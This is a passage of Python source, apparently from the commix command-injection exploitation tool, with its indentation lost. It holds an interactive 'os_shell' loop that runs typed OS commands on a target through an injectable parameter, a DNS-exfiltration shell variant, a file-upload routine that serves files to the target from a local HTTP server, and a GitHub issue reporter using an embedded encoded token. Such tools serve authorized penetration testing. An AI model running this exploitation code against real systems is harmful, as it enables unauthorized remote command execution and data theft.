# print(settings.SPACE)
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SPACE)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print(settings.SPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SPACE)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell.decode(settings.UNICODE_ENCODING))
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
if not shell or shell == "":
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg) + "\n")
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def create_github_issue(err_msg, exc_msg):
_ = re.sub(r"'[^']+'", "''", exc_msg)
_ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
_ = re.sub(r".+\Z", "", _)
_ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _)
_ = re.sub(r"= _", "= ", _)
_ = _.encode(settings.UNICODE_ENCODING)
bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\""
while True:
try:
if not menu.options.batch:
question_msg = "Do you want to automatically create a new (anonymized) issue "
question_msg += "with the unhandled exception information at "
question_msg += "the official Github repository? [y/N] "
choise = _input(settings.print_question_msg(question_msg))
else:
choise = ""
if len(choise) == 0:
choise = "n"
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
print("")
return
else:
err_msg = "'" + choise + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except:
print("\n")
raise SystemExit()
err_msg = err_msg[err_msg.find("\n"):]
request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \
_urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report))
)
try:
content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read()
_ = json.loads(content)
duplicate = _["total_count"] > 0
closed = duplicate and _["items"][0]["state"] == "closed"
if duplicate:
warn_msg = "That issue seems to be already reported"
if closed:
warn_msg += " and resolved. Please update to the latest "
warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'"
warn_msg += ".\n"
print(settings.print_warning_msg(warn_msg))
return
except:
pass
data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"}
request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues",
data = json.dumps(data).encode(),
headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.UNICODE_ENCODING)).decode()}
)
try:
content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read()
except Exception as err:
content = None
issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "")
if issue_url:
info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n"
print(settings.print_info_msg(info_msg))
else:
warn_msg = "Something went wrong while creating a Github issue."
if settings.UNAUTHORIZED_ERROR in str(err):
warn_msg += " Please update to the latest revision.\n"
print(settings.print_warning_msg(warn_msg))
def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
err_msg = ""
if menu.enumeration_options():
err_msg += "enumeration"
if menu.file_access_options():
if err_msg != "":
err_msg = err_msg + " and "
err_msg = err_msg + "file-access"
if err_msg != "":
warn_msg = "The " + err_msg + " options are not supported "
warn_msg += "by this module because of the structure of the exfiltrated data. "
warn_msg += "Please try using any unix-like commands manually."
print(settings.print_warning_msg(warn_msg))
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" +
Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED +
"""os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
print(settings.SPACE)
os._exit(0)
elif cmd.lower() == "?":
menu.os_shell_options()
elif cmd.lower() == "os_shell":
warn_msg = "You are already into the '" + cmd.lower(
) + "' mode."
print(settings.print_warning_msg(warn_msg)) + "\n"
elif cmd.lower() == "reverse_tcp":
warn_msg = "This option is not supported by this module."
print(settings.print_warning_msg(warn_msg)) + "\n"
else:
# Command execution results.
cmd_exec(dns_server, http_request_method, cmd, url,
vuln_parameter)
except KeyboardInterrupt:
print(settings.SPACE)
os._exit(0)
except:
print(settings.SPACE)
os._exit(0)
elif gotshell in settings.CHOICE_NO:
print(settings.SPACE)
os._exit(0)
elif gotshell in settings.CHOICE_QUIT:
print(settings.SPACE)
os._exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
def file_upload():
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
if not menu.options.file_dest.endswith("/"):
menu.options.file_dest = menu.options.file_dest + "/"
# Check if not defined URL for upload.
while True:
if not menu.options.batch:
question_msg = "Do you want to enable an HTTP server? [Y/n] > "
enable_HTTP_server = _input(settings.print_question_msg(question_msg))
else:
enable_HTTP_server = ""
if len(enable_HTTP_server) == 0:
enable_HTTP_server = "Y"
if enable_HTTP_server in settings.CHOICE_YES:
# Check if file exists
if not os.path.isfile(menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' file, does not exist."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
# Setting the local HTTP server.
if settings.LOCAL_HTTP_IP == None:
while True:
question_msg = "Please enter your interface IP address > "
ip_addr = _input(settings.print_question_msg(question_msg))
# check if IP address is valid
ip_check = simple_http_server.is_valid_ipv4(ip_addr)
if ip_check == False:
err_msg = "The provided IP address seems not valid."
print(settings.print_error_msg(err_msg))
pass
else:
settings.LOCAL_HTTP_IP = ip_addr
break
# Check for invalid HTTP server's port.
if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535:
err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT)
info_msg = "Setting the HTTP server on '" + http_server + "/'. "
print(settings.print_info_msg(info_msg))
menu.options.file_upload = http_server + "/" + menu.options.file_upload
simple_http_server.main()
break
elif enable_HTTP_server in settings.CHOICE_NO:
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
break
elif enable_HTTP_server in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enable_HTTP_server + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
